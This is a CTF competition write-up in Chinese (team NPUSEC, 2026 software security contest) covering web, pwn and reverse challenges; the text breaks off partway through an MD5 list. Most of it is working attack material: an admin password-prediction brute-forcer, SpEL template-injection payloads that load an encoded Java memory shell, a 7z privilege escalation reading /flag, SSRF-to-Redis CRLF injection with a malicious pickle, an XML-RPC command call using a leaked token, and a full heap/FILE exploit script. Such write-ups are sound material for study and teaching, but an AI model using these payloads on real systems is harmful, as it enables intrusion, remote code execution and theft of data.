软件安全赛-2026-writeup NPUSEC

Fulucky0 2026-04-08 17:59 上海

看雪论坛作者ID:Fulucky0

先来一张最终排名时截的:

WEB

thymeleaf

新建新用户并计算出 admin 的密码,脚本如下:

import re
import random
import string
import requests
import sys
BASE = "http://1f4fbf11-331b-4144-8548-5c36b98452d3.51.dart.ccsssc.com/"  _# 例如: http://target:8080_
sess = requests.Session()
_# 1) 注册一个随机用户,拿到明文密码(即 PRNG 当前输出)_
uname = "u" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
r = sess.post(f"{BASE}/register", data={"username": uname}, timeout=8)
m = re.search(r"<code[^>]*>(\d+)</code>", r.text)
if not m:
print("[-] 没解析到注册密码,可能注册失败或页面结构不同")
    sys.exit(1)
p = int(m.group(1))
print(f"[+] register password = {m.group(1)}")
_# 2) 计算 admin 64 个候选_
base = (p & ((1 << 42) - 1)) << 6
_# 3) 爆破 admin 登录_
admin_pwd = None
for x in range(base, base + 64):
    cand = f"{x:016d}"
    resp = sess.post(
f"{BASE}/dologin",
        data={"username""admin""password": cand},
        allow_redirects=False,
        timeout=8
    )
if resp.status_code in (301302303307308):
        admin_pwd = cand
print(f"[+] admin password found: {cand}")
break
if not admin_pwd:
print("[-] 64 个候选都失败。大概率不是新实例(状态已被他人推进)。")
    sys.exit(2)
_# 4) 验证 admin 页面_
check = sess.get(f"{BASE}/admin?section=main", timeout=8)
print(f"[+] /admin status = {check.status_code}")
print(check.text[:500])

拿到 admin 密码:0236506025278727

接下来内存马注入

step1:

__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part1'%2C'H4sIAAAAAAAA%2F6VYB5wjV3n%2F3q12pdtdt10ftlzPmLPvVrurrpX2DLbaqveuw%2BCRNOrSSDOjSscYCCE0A%2Bbg6OUgJORsyN4dB9iGxE5IQgqppPdCICGNYIw335vRNt8anOR%2Be9LMe9%2F76v8rT19%2F5otfAQAD%2BSSB2zm%2BohU6fK1dKfNMix1wfEPLDjs8Kwg1rq1NsoKoBELg6jrTZ7RNpl3RRgp1toirUwSmWkKFwEJwdzMhUl4nCRziGgRInsB8hRWdTUYQwsifwLXHTxxEvoqKrDIdplhlV6ui2FkdsIXVKtMuNVleWA3ZvZ3gapCrBGuCyLZZXgVzBK5Czg5GYC0mmQ05fJ%2FXJPjsk39akz6jMVpT%2BnhWaxSMwriVG8fSDZ%2FQrAziDkthaMilMhYhKKZ8CYffJ1ic%2Fk7DZWoJ5rJgioxDkXqk4DAXGH2bFcW6mYmn%2B0ymNRJ4U8DgNjsDNme2a9Q4%2B9qqd%2BQue4utlN6QHoa5aEdTiozbxra3pzEbBbY41mpMomFsdxWqOVOeNQybWbEQaG2sNRlbcDSKCG2vPuBvbaTGvV6EH%2BirxqYvm%2FV5q9ZR1mcrGP1ehydg0nTceq7bbeZNGr4npMJFmyGmCzGDpK7WTpuLFvcoqdN7LWajtSx0jdF019b0eMx8sMUEMsV0zxcaMV4ml21HQ8x4OI6Nh9qOYa1k0JV5b3UYdkXdYrWWMZWMHp0%2F2TMG2IojxTndTd6vrzSiRl27UG3lmKqx5cilwhaL12931BiTOWPsGUPsgI%2FkTQWbZ%2BhfSw0bVjE34l2GWj83atbdgpctsaah2cWu8WNBNBkDhrqrVklkTMOux5YzMPaysGYJb3C%2BWqQZczNWT3yjOLI4Y%2FqxwRntmYf58Rrj6Jss%2FZE5ITg6fIa3B%2FTjdCNoG6WFfN4RFkeOlNgquJp1ltc4LLy7V7FrhE5GEx86bMWAccMzCCUHzWSixQwsnorTICQcAUshV8yYKhFDplDsNw1Dw1o4ZAvaraNBvtqppBupQKhXSectzUaxljbE6sVRoRXPxdpmY6aXCcQHG0O%2BmIz1khWx2jVmuvlgsKV1hE1lfyHHxOr1qjvG6gyWDq%2FxrgWEQidqE41hv7OfDfHplLOSirpDKauRb1UzqbA%2B2x%2F1E862EGS0KZMzo3Pqva7WIJxbKwTy1nRTWxrrRrWNQr3Yc%2FFj1mX15qp18zDt0rjyUXfH1K6aWcHrLliLpVhL682G3MZhLVzf0IV1KX4wFp3GRnvDHs0la44YG%2FdZLY58MScEbFyF9YYSJX94I2zQpALW7kajoAuXXalxpx8Z5MVaxuVpWHpiSygaDWHOz1iMHttAWAtHQ85%2BS5PPuQO97LAztpVDZXFQd7dr9poY6KDvilFLLSiOTMFQ2%2ByOeUZGvcUXqbUighA3tJhULe5sGOIbTS9bbxpb9TormgJOrugzDxvtvqHhMvrbSXPY4dH5CnVxUPMUUh2PO70WapiS7kDVYGbannwhWPTobWmvfmNcbASdtVGpMMzZ8oI7Y26lnR1%2FMdDPjgLuDXc4vhGzuRo8J7R7miTnDDlL%2FsxwMAyWcuIw6d8wVPlY1L0WiGiMmbV0IOgvS%2FGzJb1D26CniZqcTNYXzPc8oq4qBlmHa5DSDkMDr2DWeSOjLtNKmYKWjYG%2BqYvbs5E%2BV406R5Eyl7AU4ua%2B12eL622JVC1bK%2FU0FkOt5c7EfW1NpZYPshVPJZcq20Kcu211JuPmstNpSjv8LlctslYchititqMtp0weztqKBrVO3pS16Uy%2BVtIYsupiqaDH72oJxmqEiZpbfE%2FLiwZE1Lgy6tc7tXqtMLA3LQ2m2zfEXFqb1ysy5aAro3evBQ3lViBbGTNc16wvV20Rw9icLFpajWY9a3eakg1TTGvitBVOy7Wr3a5NGPUr414iu1buWgqetjvlDWlivWIgO9C4vcmEP%2BkqJf2DUd%2BUGAS9oVR4GOz6GiaLNqUfrRnFXtfpNkU0nXGiWPPaAjqNaPKZvFmrk0n7Uxtxq6s4NOu1rlrWHjM7%2Bykm2LF3NQ7RXWwO%2B%2BFoxW%2BNGbNDlzYRsmc3Bs58IZTSxwR3R5dre4t5zpJK9LK9chozrzrwV9ImR9%2BaGq6ZvTYTb%2FD5zYaRtsC4bFy6a3aIdU3YNuL87aouF9DWslZNuWYMuO1MXSgPsqZuo65joh19ky0xcX85yziaImPtaNpGV6vf7Kd5e8Lj04iJtYxOHCViAVenOXSU2TS6KSDm%2FdFatFYQItGiJpl3tsR6OM%2FpR6NM25c0cfpx3dLjDV1jIpSM9KuFqpUfG7zpYkhb0ITyHdHNxkbGkT0eKnir3TDnymVKXNY5CIwjwXZ3nNInI0GP1VxNjQtMM%2B9vFbMhQ5PrsvFOLu5Li57U2ka%2B7GLN%2BiJrr5t1GmyZxnJ4oNcaC0aXJ2Aeh6r%2BWDXgrQ0aDQurdw14X1GXE3PBTCRd9621nMN60V8L5bmSi%2FPobNFKlrM6HdqczpUttmORQqwUHpSMQd1G0FLWOt22aqsca%2FR6LGswdiNxT0y0%2Bzp1zLGCOyn4arG8O95GVHAdN29x6tjw2O3cSCQFxucNbXg7zqHJW%2FN4SxuGToNnsKNVKz2tiDWi6jba007GOQowbhcXGae5YIgdpRqcpW7rJTS1RqpcGhWC0ZZpbVTNDEWza2ioJnWCIZoQmoFyPcm08zZHRo%2FZmEsaHdZg0eVwc%2F6c1R2vl%2BOGQUjjFYaelsESEePedl5v8wSqqXTBYBgmi416M1T1WgfaDUNo1Ezqw3GhNahri%2BxGyCGG47Fo0OhoWEMpzlx28yNrbhQ1ajumbpFLdvvjYr2TM5frna7WG%2FOV%2BYTdq9HV2FY61OgNI5kO1%2BM4XaZU8fDBkdNic0UsXRvjy2nrpXIwo3e0EvHmmj3WsqbaPT%2BfEHUVW6LVqw6bvWzdXBq3mKTOKeabAZ8j68g13BrGkIq7hLazHBAzuUbAFtGYW6le2eYfejWVUaSetzii424wk%2FF2TXpdOW%2BOti1ubyZvNFrzw4KWNWp6vjAfq8XXUHVXxTO0R%2B2dfNee6qcrAWHDWmjEvC5rxaSvjjWVYDcwCJftQl3c6OmyrpjdroIrCczcVWvXxJfg%2BHf8RJrA4u44l6zy3IApNFklLOzbcA%2BLbEfEiVIJ1%2BLgJvTaq62aUFxNtQWmzKrgBbi4Sy2Ni0q4noCyzPHy3Hjs%2BOVj495JUjpzch5ugBtnQQ03ETgsVtlt%2FrfgBIvToostNhmeLW3U2GaJwMpP4Mmz5SaOulqJHHkfhdso7xcSuO45iJTwIgJXCKxoLxbpCI2uIKA4nj%2BRnoc74M5ZOAbH0W%2BoCoE79kqXh%2Bp90idL87AEGnpwGU3CgyGu1GuiSauTV1ascmjLPQfYcuoy%2FxxkncwB5ehAT80zYOROXa6HEkwErn%2Bu40qwIDBq7T7XQIttB5h2AMsDrbWCbRbWYJ2AavvmgAodPyjWd8GLZ0EBiMRrOOm4FINIuYwBUME9qFBr4iwHgSt3zwe5dkUJLvkGYW%2BXEqwoi1fBBoYrmYu6keUBAr3gOwxu8M%2FD1XANFR2cByWoDsMhCBOYpfpybZEdYnSv2da4J9aaWpSAx6MQm0XSOEJk35YSkvsgJYfP0as1SyyvhPQsZKikaZihknJoF9PpsO3ngeB9nFCDU%2FBSyuxeNL0oa3qU5XmOXz%2BqgpfL%2FnDT9xCCl6lgJE%2FsFbCT3gfIQOYMFKh5RYycyMmr88DCLJVYRo9sS2xz4tEy12uXVFBF2prI8ozI8QResM9nvsk6cq5DYw5S0MS75uX7SmhjoagyQlhyPBal%2FDx0oDsHHCBTRVta3n%2Fv3EGbCD1K18foTdRbP3pKBUPEy2404xz3PPJ1xw9jeAX1wyvxEnwv%2BvXVMpITVbbZnIfX0mQ%2BBK%2BTsoXyIHDnAYwPEIUl5H54Az38AIG5U9qle4%2FyLFMazargTbRSMjWcXVDeT%2BG9G9d%2Bet%2BlPTHCi3NLCT%2BDDuJ6KPSILKHGaaOotojKs0wLlX87vOMwvA3eifGiSrN8v7njBxU8iPd5Ocm36869P17556xEz7ccvAfeS01%2BaF9AooxYVcHp%2FRZKkpTwAfQFUtKuMQ8fpOhTw4dwrSa4Wx1xNA8fge4snIGPUqhoT6jg4%2Biv4yr4JH7h21naap6VunddrthLTqKDdom8jFCVEvlnZ%2BGzENynGGYNhkkJPy%2B71N5sJkSm2EjyDLaIZxeKENNBo38Bzs3C5')%22).getValue()%7D%7C__%3A%3A.x

step2:

__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part2'%2C'%2BDhfYUCt5TwecRNgx2hrHn4RYjNwRdgk5KihTdR5zC1Nss7kH2FpxkW5TnahzheBRcRhkWZAqXeuDdszirDJ9huj20XMbUxey7Bl6iLvozCRIav0Gr6KOqCD1KFTTPNHtYG6%2FMK%2FYFRfRy%2BSqP6NSqgWhNepFPBL1P9qlioeLatgidxp0%2FFoK7X7%2FOQk2vSvoOzBPL5Vfg6dcGvYX4fRKGE35iDb9C6McOUSuh5AurjB%2FOiZv8W%2FDYtM7%2BD5FG6g177XUQJU%2B%2Bo4PelGiP9HqWCPyQw3eE5kVPBt3CdKTEdka7%2FCfZk9HEbeVKX%2FxnuCZhBtSK2oL9Army7gvFRwV9h%2Fu2iWUqIIMdgiab6Xdbp5C209m%2Fgb2ms%2F04ORaLW6jRZGef%2FIOP8H7FTrmoybAH7w56jKvg2atJixGKV%2BvPIQU0Dzf8OfJdG%2FV%2FQCJ4VuB6P0FHB97CE0gKogn%2FHCGHXETI1sToP%2FylT%2FxdyLm6Xh%2F%2Bm3iqVniViO71RxFPwQ%2BrhpzFeaAEqat%2BnKAHNTyiyex0yKQl77MQUhiMHEivJIXle2qZUzMMzsIUgJDPzcJi67xDB84ebuC%2BdmyezOEqSKTI3D1fI%2B1dg9SuxRa7Eyj870o51gCtPOebJVeRqeuIaquO41sHBk2tJv6oiCo6fckg0i%2BRaSnMEq3mJLSMwJLkqch02jlMOJVFvlxiJuw99XKGG3HiY3AR%2BuZhsD7RyNZ4nt0gjHLmVTlA4aCqlFIqUqaK%2BvW6cMDs5T15Ibp8lNxEcW8kpFbkDdWmzA19bEBksBvPkOPQowxNYXmjt6nSatSJDE8bdZ9vi9s%2BxqLRme8KSEotuKMnKHFmVkg9rC9NEj%2Brgh4gZoqfrT29fEKQDdp5nRvIp03b13N0QlISOl4xAKWiBfu7usSMebbMS2yxZI%2Bs%2FJuuxqV5N7polZvJiNFH4sSbejQ4VOUkhivATBygxT%2BzEgdYR58SIVSpxVYaLirjlIdElYQhB6EGjZECpiA%2BDtHMvctgTbotphy6wC7xeuUxXQtvewwbui%2Bxer0iEwM3bG46RyErqRnpipzfp8UoSmyVx2qNu3nUJQlTryfuivvYeOhxKb7qM1T4KvP1NUzRLXszOkgzJ0XK9M1rsIZ64%2BtQsSZGXYkmhPXFy2jdPXkZeTjfuw5UBjwMhehp3fD48RAqkiAoTpJ4TuR096LVKyqIyqdBtnCSni01OQMzWcTZHZg263JCHr8mF7%2B7%2FdcfafwUkcMvuVphL9IpVaWOP%2FzsEju7JM0RahWnKt8E9VPykhPc6LF%2BUq41ILzNq0sMZ96jEdHdOxumcDJ6jbkteHc2SLhnPkzbhaEV5pXwH3durD7qRXc7toKkTSzrymievpbPnMYKD633%2Ft5HvrqWXPM%2Bpj8Ctz3azXOD2ePAN6Cd5cb%2Bf3jhLHiBj3Lx85FQSHI1v2F2N99pircXuYYoz83XS%2FeeoNOSiGUdbkgzKGUfnpQMicPD9SArL22fJW8k79mTqnlFbSd61W5Zwa2%2BKTo6%2Fe5Y8SN6Dt7KOfGx7aNyXYnund5otD5H3zcIiOU1zvEwZ0Ay4q9ic%2FGQDKvIhOnlh%2BiucWE8QKRJjHC6TjPRrxeyOP7BXHU7UKm1G7PEs3IanFAD4OUtvovg0S%2B%2B%2B%2BH0Ndl3soEDIR%2FHtKqBdGGBqYf4c0H%2BEts%2FLNq%2Fa3ryanqebh0DmR962cN0FuDmoWbh1E24PLSs24cQy2YSV8IJ6QTv1ZVBvgnFBQR4D8yacXFesbMLdC3YFruemFo4lcHN9Wj29ggsKXFAvOJELrp58DNzrMxKxZ0YmViRyikcgkMhN4yM9p1QrV2bkc4dwTz2DW2q6dTJzFhTBszAFS%2Bch9AhEToPiYRJc2oQErr4odAkyufOQfQTym%2FCyhfvwY2n5PJTwexMqn4e85km4ZT9NbWfvLDyouQgtAqHli4A%2BPw334wPme3j%2FiRHlunIeXkVfXrNznC69fl2xtKJGR71x%2F5E37xGiWVfs33wL5adWyGouvHWXdGus%2BDxEHoF3IWEm8zAa%2FRl6GUFUqUiCpGER4%2FZueAiOYNw%2Bhs9emPs%2BPKTE90NbMAdESUO5hZA4pKR%2FKbqyePSWp2FGCdwW3AsKeR3flAgpuvsU3PkUnjpE784TqLwXtyjeXk5CmoV3E3IB3rfwfunrMTgTwnCENRjLTfhwePlJmF45t7wJHzsN101sXKE2fUK26dzetU%2FhxzJ9%2BPRkEyF4CFW%2Ffsecm0Gxha9TkpKo6hmq4RF4Gq7A5xuQPAoxmJIQixbDPCL2dZfgsyjh54IX4JGLcF4OJUY0vCJHlDArUkQfg8%2BtK2icLlCILnxxE75yGvJqxcJjF%2BCXFp6gH7%2BCH4%2FBF9Zn1DMX4dcJXITfJECBOcHGCfqErNZVatUO8WGN%2BvCE%2BpuHIHN265tn4dso4PckAW%2FHpz%2FAp%2FfDA%2FtE%2FRH9%2BGP8oMIW%2FpS%2B%2FTn9%2BEv68dd0HcXuyEB5exQ6TAVOFDosKzSrnt0hntOo556tUH595iykqPV%2F%2FwSEpG8pgP8kif%2FnTfjX02CRlhf%2BbSL8CTimVspRXviPTfj%2BaTiCGv2A7qo0VJ8fUebPnNHQKH4aZ9ljO1Ecw%2BwzcL2EspQEOy%2BotmEnI%2B9zGE4lfAGfAX4A2kMUmbMHkSikP5lwC7QUxs8mAnAgRhQ%2FgBjCmHwc5SvoVYR8QiqYn8H%2FeNmYANs9AfYxzSIhMqDJ1LkQvk1Lb%2BGVvetSuaQ3kG3DZoCEpFyjPyWhMMryG7iqxO%2FTS5rzRBki4eWlTXJ4k8yHz8IprA2b5MoLZOECecH69CKZWiTXywVwkdxAKyC5Gcsc%2FdwkR2ksFJvkNvXMslwI1dNIMnWBHKOlcPor9EGqper91WmR3CknFo3V%2FgK1skmWqBkqLPTX7phxIy0W105KgUJJMN3UUqL9EDK7DsT%2F98MbJlY%2BhTZSK7%2BGrlqeuOpxsnoaPCuPkVWaWBeJFoGIek6w%2BUL6RLGJVsmqyX4x0PJ9dutbasXyRWKkGILOJWLOrWBPwb8L5OR58pL%2FF0NU8Z5JSzIn5FZEubkIJFBvLKow8cMxUD0DRyUXrCKcjiF%2BnoK5H8GNe9%2Fv3OcRdqedXj1pp9jF8nI%2FPUxvnhN%2FvRNRMYXf3CLZkBrqIvFO2ifBb8y0kyEasUXin6h6hnbBZVndJSnO5Ab8OxdaJMEJh%2FBeUg2G9nJqSaV7wL4TaxWQ74MdY7vHjMP0%2BjtR9FEcKGhgX3qJxHPnSSJIQpdIKneJZHJL50n%2BPLk3dM3V8CVVeBmxxOQsig%2FBlZqVqSMIVPbs1ndQi9r69PIToFzeJE18a6mnz63P7FuYeVQaXO6CAMoJQEj6lrWzwzSNAIkrSUpJbnga1aS1ntywRf2H3%2FKW1KdoV1PuLtGJBbvhtlkkimbhDD4xqzZJ9HtwTLg7tLyg%2BCQsLGPTuv1cGPXqh85uffcS6eYmebS0kzuLZIifGjmBzpNXPIoOm6NzEulOVL4Kpp6GacyYgJJ0n8KZ7uNSYTiEtwABNXwcvjpRwYRWUwhcu6S5QF41maVQ0sq5EJHjtJctlpYYMtzPjbyavGbC7RbkRQ1akLiFVyi3lSW05fUPS7PcnujS323lU0SNazS6n1p6HNSnYXYJi8dZUFJ71xUEk0vxBBjV00%2FCKjbyBbVCI2EUS9H0WZjH12X5eetbmHQY8f664uzWNyj9rZfIA9veWyRv2uuzNz%2BqnpbK2LQsVElwYFjCAeDkORyDyFt3j71t9xjOQuSdFCe3wYvhHvIA6vwAvHEHxTGYu9KJPv8RLVpqJazdpHIoyQNzR%2BP4vEVdJo8LSvIWJZhlElrc1pR0oFBM2shkWyp1cnsg96NIBgqTnH4dOplO1xaaBFI6hC%2BRB3Mr58l7Q9QX78cc%2BMC6YoLuM2rFuR3sn1FPPypNUbfACeRwAvvDiR2Yn4CpZ%2BAOJXmQYhfObFFkSMV3EdckcD%2BDYZMArSIf3B7KwUKHOfx361lcWiQfxoI%2BhdMhBhDObn0PLsEhVPEjewraNExNXYGY%2Bx%2BOb%2FvKZygAAA%3D%3D')%22).getValue()%7D%7C__%3A%3A.x

step3:

__%7C%24%24%7B1.getClass().forName('org.springframework.cglib.core.ReflectUtils').defineClass('org.springframework.expression.Test'%2Cnew.java.util.zip.GZIPInputStream(new.java.io.ByteArrayInputStream(1.getClass().forName('org.springframework.util.Base64Utils').decodeFromString(new.java.lang.StringBuilder(''.getClass().forName('java.lang.System').getProperty('part1')).append(''.getClass().forName('java.lang.System').getProperty('part2'))))).readAllBytes()%2C1.getClass().forName('org.springframework.expression.ExpressionParser').getClassLoader()%2Cnull%2C1.getClass().forName('org.springframework.expression.ExpressionParser'))%7D%7C__%3A%3A.x

成功注入内存马:

读取 flag 权限不够,需要提权,这块后边重新注了一个 behinder 马

通过/usr/bin/7z 提权获取 flag

/usr/bin/7z a -bd -ttar -an -so /flag 2>/dev/null | /usr/bin/7z e -bd -ttar -si -so 2>/dev/null

auth

先随便注册一个账号登录进去,找到一个 ssrf 入口

返回包有 base64 编码内容,可以外带一些敏感数据

接着用常规路径字典爆破,爆破出来 app.py

看到其中的 redis 配置项:

CONFIG_FILE_PATH = '/opt/app_config/redis_config.json'
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_PASSWORD = '123456'

会优先拿 redis_config.json 中的密码,还得去读取

和 ssrf 在一块,尝试直接 crlf 去进行 redis 访问

http://127.0.0.1:6379/
\r\n
AUTH 123456
\r\n
HSET user:11 role admin
\r\n
QUIT
\r\n

但是发现认证失败,没招了只能去读 redis 默认配置看看

/etc/redis/redis.conf:
requirepass redispass123
bind 0.0.0.0
protected-mode no
daemonize yes
logfile ""
dir /var/lib/redis

拿这个密码去尝试,发现正确了变成 admin,回到 app.py,此时可以访问/admin/online-users 了,发现一个 pickle 反序列化的点:

for key in online_keys:
    try:
        serialized = r.get(key)  
        if serialized:
            file = io.BytesIO(serialized)
            unpickler = RestrictedUnpickler(file)  
            online_user = unpickler.load()

同时过滤了一些东西,但是容易绕,可以用 allowed builtins.getattr+main.OnlineUser,上传点在 redis,因此之前的提权逻辑可以复用。

把恶意 pickle 写入 online_user:11,访问 /admin/online-users 触发执行。

avatar_url=http://127.0.0.1:6379/%0d%0aAUTH%20redispass123%0d%0aSET%20online_user:11%20%22c__main__%5CnOnlineUser%5Cn...%28tR.%22%0d%0aEXPIRE%20online_user:11%203600%0d%0aQUIT%0d%0a

但发现读不了 flag,其他可以,可能是权限问题,联想到起初在/proc/11/cmdline 发现的:

/opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py

发现了 mcp,还泄露了 token,还发现了调用 XML-RPC 服务的 execute_command 可以直接读 flag,没有限制,目的是为了反序列化后执行 python -c 以下代码,写个简单的 pickle 序列化字符串生成脚本就好:

import xmlrpc.client,sys;s=xmlrpc.client.ServerProxy('http://127.0.0.1:54321/RPC2');r=s.execute_command('mcp_secure_token_b2rglxd','cat /flag');sys.stdout.write((r.get('stdout'or '') + (r.get('stderr'or ''))" >/tmp/flag1

Python -c "xxx"

PWN

mailsystem

逆向完毕之后,发现这里 j 可以等于 12,溢出到 admin_note 这个 bss 段上得变量。

这个地方能实现风控用户,用户被风控之后就可以使得上面的 n7<=7,之后就能利用溢出,控制 admin 的账号和密码为空,登录即可。

登录 admin 账户之后就可以调整用户邮箱中的内容,后面将 stderr 当作一个用户的邮箱内容发到 1 账户的邮箱中去,之后登录 1 邮箱去查看邮箱内容就能去泄露 libc 的内容。

后面继续攻击_IO_2_1_stderr_打一个 house of some 就好:

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
ip="192.0.100.2"
port=9999
p=getProcess(ip,port,["./ld-linux-x86-64.so.2""--library-path""./"'./pwn'])
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/libc.so.6")
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b *$rebase(0x00000000000030A9)
"""
def login(name, password):
    sla("Your choice: ",str(1))
    sla("name:",name)
    sla("password:",password)
def register(name, password):
    sla("Your choice: ",str(2))
    sla("name:",name)
    sla("password:",password)
def write(size,con):
    sla("Your choice: ",str(1))
    sla(' (1-256): ',str(size).encode())
    sla('bytes):\n',con)
def send(id):
    sla("Your choice: ",str(3))
    sla(' (input user ID 1-12)',str(id).encode())
def user_read_inbox(io):
    sla(b"choice"b"2"# 进入读邮件子菜单
    sla(b"choice"b"2"# 读取 Inbox
    p.recvuntil(b"Inbox (new mail):\n")
    data = io.recvline()[:-1]
    sla(b"choice"b"3"
return data
#先实现7个注册
register('test','test')
register('test','test')
register('test','test')
register('test','test')
register('test123','test123')
register('test123','test123')
register('test123','test123')
register('test123','test123')
#将前5个放到风控里面
# def feng(id):
#     write(256,'123')
#     send(id)
#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')
#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')
#     write(256,'123')
#     send(id)
#     sla('Overwrite? (y/n): ','y')
#     write(256,'123')
#     send(id)
def feng(id):
    write(256,'123')
    send(id)
    marker = b"\x1B[1;31;40m[SECURITY] Risk detected for"
    pp=b'Overwrite? (y/n): '
while(True):
        write(256,'123')
        send(id)
        rc(1)
        line = p.recvline(timeout=0.2)
print('line=',line)
if marker in line:
print("hit security message, break")
break
else:
            sl('y')
for i in range(1,5):
    login('test123','test123')
    feng(i)
register('test123','test123')
register('test123','test123')
register('test123','test123')
register('test123','test123')
for i in range(5,7):
    login('test123','test123')
    feng(i)
###风控了5,6,7,8,9,10
register('testadmin','fakeadmin')##控制了admin的堆块
###提前控制我们的stdout的内容
pl=p64(0xFBAD1800)+p64(0)*3+b'\x00'+b'\x00'
login('test','test')
write(0x22,pl)
sla("Your choice: ",str(4))
login(b'\x00'*6,b'\x00'*0x10)
####进入admin用户
def mail_to_mail(des,src):
    sleep(0.1)
    sla('Your choice: ',str(4))
    sleep(0.1)
    sla('(1-12) ',str(des).encode())
    sleep(0.1)
    sla('destination user ID (1-12): ',str(src).encode())
    sleep(0.1)
    sla('Your choice: ',str(1))
# gdbbug(cmd)
sla(b'Your choice: ','4')
sla(b'rward): (1-12) ',str(-3))
sla('ID (1-12): ',str(1))
sla('Overwrite? (y/n): ','y')
sla(' to forward?\n',str(1))
sla(b'Your choice: ',str(5))
login('test','test')
sla(b'Your choice: ',str(2))
sla(b'Your choice: ',str(2))
# mail_to_mail(1,-7)
ru(b'Inbox (new mail):\n')
lb=uu64(rc(6))-libc.sym["_IO_2_1_stderr_"]-0x163
print("libc_base=",hex(lb))
sla(b'Your choice: ',str(3))
sla("Your choice: ",str(4))
libc_base=lb
libc.address = libc_base
environ=libc.symbols['__environ']
fake_file_start=environ+0x400
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
login('test','test')
write(len(payload),payload)
sla("Your choice: ",str(4))
login(b'\x00'*6,b'\x00'*0x10)
mail_to_mail(1,-3)
sla('Your choice: ',str(5))
sla('Your choice: ',str(3))
ru('Goodbye!')
ru('\n')
stack=hos.bomb_orw(p,'./flag')
ita()

pwn_std 内容如下:

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import psutil, time
def getProcess(ip,port,name):
global p
if len(sys.argv) > 1 and sys.argv[1] == 'r':
# p = remote(ip, port,ssl=True)
        p = remote(ip, port)
return p
else:
        p = process(name)
return p
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8b'\0'))
uu32 = lambda x: u32(x.ljust(4b'\0'))
def gdbbug(cmd=''):
    gdb.attach(p,cmd)
    pause()

Re

re1

解包出来可以看到一个视频和一个 elf 文件,我们先用 ida 查看 elf 文件并获取相关信息,可以找到一个 base64 加密的长数据。

同时可以在主函数中看到 stager.pyc 的字眼,推测是将 stager.pyc 转为 base64 了,我们 cyberchef 解密一下并保存为 stager.pyc,再拖到在线 pyc 反汇编工具中查看代码。

工具链接:在线 pyc,pyo,python,py 文件反编译,目前支持 python1.5 到 3.6 版本的反编译-在线工具。

可以看到,加密方法是读取 payload,然后每 8 字节异或 10101010,然后结果为 1 表示黑色,0 表示白色,设置长宽边长的参数,所以解密只需要反过来皆可,这边附上解密代码。

from pathlib import Path
import imageio.v2 as imageio
video=Path("video.mp4")
pix=8
w,h=640,480
xor=0xAA
bits=[]
for frame in imageio.get_reader(video):
for i in range(0,h,pix):
for j in range(0,w,pix):
            block = frame[i:i+pix,j:j+pix]
            bits.append("1" if block.mean() < 128 else "0")
data = bytearray()
for i in range (0len(bits), 8):
    b=bits[i:i+8]
    data.append(int("".join(b), 2) ^ xor)
Path("payload.bin").write_bytes(data)

解密完我们发现是一个 elf 文件,直接改名拖入 ida 中查看逻辑:

可以发现进行了一系列输出,同时我们在字符串中看得到 md5 跟 flag 的字眼,尝试对 src 字符串所指的 md5 进行解密。

解密脚本附上:

import hashlib
import string
a =[
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"4b43b0aee35624cd95b910189b3dc231",
"e358efa489f58062f10dd7316b65649e",
"f95b70fdc3088560732a5ac135644506",
"c81e728d9d4c2f636f067f89cc14862c",
"0cc175b9c0f1b6a831c399e269772661",
"92eb5ffee6ae2fec3ad71c777531578f",
"c4ca4238a0b923820dcc509a6f75849b",
"8fa14cdd754f91cc6554c9e71929cce7",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"e4da3b7fbbce2345d7772b0674a318d5",
"e1671797c52e15f763380b45e841ec32",
"8f14e45fceea167a5a36dedd4bea2543",
"336d5ebc5436534e61d16e63ddfca327",
"c9f0f895fb98ab9159f51fd0297e236d",
"c9f0f895fb98ab9159f51fd0297e236d",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"cfcd208495d565ef66e7dff9f98764da",
"336d5ebc5436534e61d16e63ddfca327",
"1679091c5a880faf6fb5e6087eb1b2dc",
"1679091c5a880faf6fb5e6087eb1b2dc",
"4a8a08f09d37b73795649038408b5f33",
"8f14e45fceea167a5a36dedd4bea2543",
"e1671797c52e15f763380b45e841ec32",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"92eb5ffee6ae2fec3ad71c777531578f",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"e1671797c52e15f763380b45e841ec32",
"cfcd208495d565ef66e7dff9f98764da",
